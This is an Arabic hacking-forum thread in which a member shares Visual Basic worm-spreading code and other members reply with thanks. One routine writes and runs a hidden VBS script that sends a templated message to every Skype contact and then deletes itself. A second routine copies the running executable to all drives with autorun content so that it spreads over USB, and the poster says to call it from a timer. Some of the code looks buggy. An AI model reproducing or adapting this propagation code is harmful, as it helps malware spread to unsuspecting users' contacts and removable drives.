1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
  2. الملاحظات
    عزيزي زائر تم اطلاق الموقع الرسمي لبرنامج الاختراق Spy-Note
    إستبعاد الملاحظة
حالة الموضوع:
مغلق
  1. لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    120
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    كيف الحال يااعضاء وزوار عراق تيم يارب الجميع بخير
    حبيت اطرح عليكم كود انتشار في ال
    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]





    وكود الانتشار بال USB او جميع الاقراص


    تشغييييل تلقائي
    _________________________________________________--


    عزيزي الزائر يتوجب عليك التسجيل لمشاهدة الروابط [ تسجيل الدخول ]
    _1


    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]  Sub SkypeSpread()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]If "%SKYPE%" = "True" Then[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim g As New StreamWriter(Environment.GetFolderPath(Environment .SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.BaseStream.Seek(0, SeekOrigin.End)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("on error resume next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Client.Start()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.Attach()")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("For Each KZN In Fruxr.Friends")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("Fruxr.SendMessage KZN.handle,""%IMMESSAGE%""")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.WriteLine("next")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]g.Close()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim p As New Process[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim ProcessProperties As New ProcessStartInfo[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]ProcessProperties.FileName = Environment.GetFolderPath(Environment.SpecialFolde r.MyDocuments) & "\s4c.vbs"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Dim myProcess As Process = Process.Start(ProcessProperties)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]myProcess.WaitForExit()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Threading.Thread.Sleep(5000)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]IO.File.Delete(Environment.GetFolderPath(Environme nt.SpecialFolder.MyDocuments) & "\s4c.vbs")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]Catch ex As Exception[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]MsgBox(ex.ToString)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Try[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End If[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]End Sub[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]

    [FONT=tahoma, geneva, lucida, lucida grande, arial, helvetica, sans-serif]
    [/FONT]

    USB_2

    كود:
    [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]
    [/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]Sub usb()[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Coded By CaRlos / old Name Toto[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        'Www.dev-point.com/vb[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]       ' My Email : ########[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' اي خطا يجي تجاوزه واستمر في الكود[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        On Error Resume Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        ' يجلب جميع اسمء الاقراص[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        For Each x In IO.DriveInfo.GetDrives[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يفصل بين كل اسم قرص بفاصلة ,[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim xx As String = x.ToString & ","[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' يقوم ب فصل جميع الاقراص  [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim s As String() = Split(xx, ",")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' اسم السيرفر[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim n As String = "Ser.Exe"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' محتوى ال اوتورن[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Dim run As String = ""[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "[AutoRun]" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "open=AutoRun.exe" & vbNewLine[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            run += "icon=nameicon.ico"[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            ' تدخيل اسماء الاقراص الى حلقة فور[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            For i = 0 To s.Length - 1[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' ينسخ البرنامج  الى  جميع الاقراص ويمكن استبدال Application.ExecutablePath بموقع السيرفر   [/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.Copy(Application.ExecutablePath, s(i) & n, True)[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                ' يقوم بانشاء الاتورون بصيغة inf[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]                IO.File.WriteAllText(s(i), run & "autorun.inf")[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]            Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]        Next[/COLOR][/SIZE]
    [SIZE=6][COLOR=#c71585]    End Sub[/COLOR][/SIZE]
    
    [SIZE=6][COLOR=#c71585]





    في كود الUSB
    تضيف تايمر


    وتكتب


    كود:
    usb()
     
    جاري تحميل الصفحة...
  2. عہۧلہۧي سہۧعہۧد عہۧمہۧران
    rank
    Developer

    عضو منذ:
    ‏12 يونيو 2015
    عدد المشاركات:
    43
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    20
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Perl
    Facebook:
    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله فيك نورت المنتدى
     
  3. لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    120
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    شكرا للمرور حبيبي
     
  4. Mira Mrmr .::|| زهره منتدى عراق تيم ||::.
    V • I • P

    عضو منذ:
    ‏9 يوليو 2015
    عدد المشاركات:
    644
    الإعجابات المتلقاة:
    132
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: انتشار في USB و Skype و جميع الاقراص

    [​IMG]عاشت الايادي[​IMG]
    "ياريت تعديل الاكواد من قبل الاداره"
     
  5. جـعـفـر الـشـمـري
    DeveloPer Plus

    عضو منذ:
    ‏26 أغسطس 2015
    عدد المشاركات:
    518
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    50
    الإقامة:
    العراق
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: انتشار في USB و Skype و جميع الاقراص

    بارك الله بيك يا طيب
     
  6. آرْ بْيْ جْيْ ڪْرْڪْوْڪْ
    DeveloPer Plus

    عضو منذ:
    ‏24 أغسطس 2015
    عدد المشاركات:
    140
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 8
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    عشت -كلك ابداع
     
  7. لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    120
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    • نورتيني <3
     
  8. لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    120
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     
  9. لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    120
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
  10. لوفي العراقي HACKER
    Developer

    عضو منذ:
    ‏3 أكتوبر 2015
    عدد المشاركات:
    120
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    40
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    رد: انتشار في USB و Skype و جميع الاقراص

    نورتني حب جعفر
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...